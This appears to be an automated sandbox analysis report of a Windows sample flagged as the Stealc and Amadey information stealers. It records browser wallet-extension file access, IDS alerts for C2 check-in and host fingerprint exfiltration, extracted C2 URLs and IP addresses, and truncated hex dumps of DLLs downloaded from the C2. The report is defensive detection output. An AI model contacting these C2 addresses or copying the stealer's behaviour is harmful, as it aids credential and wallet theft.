Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.7:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.7:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.82:443 -> 192.168.2.7:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.82:443 -> 192.168.2.7:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50096 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.1851485927.000000007012D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.1851485927.000000007012D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49701
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49701
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:50041 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:50052
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50072 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50101 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	IPs: 185.156.72.65
Source: Malware configuration extractor	IPs: 185.156.72.65
Source: Malware configuration extractor	IPs: 185.156.72.65
Source: Malware configuration extractor	IPs: 185.156.72.65

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 15:34:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 15:34:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 15:34:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 15:34:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 15:34:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 15:34:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 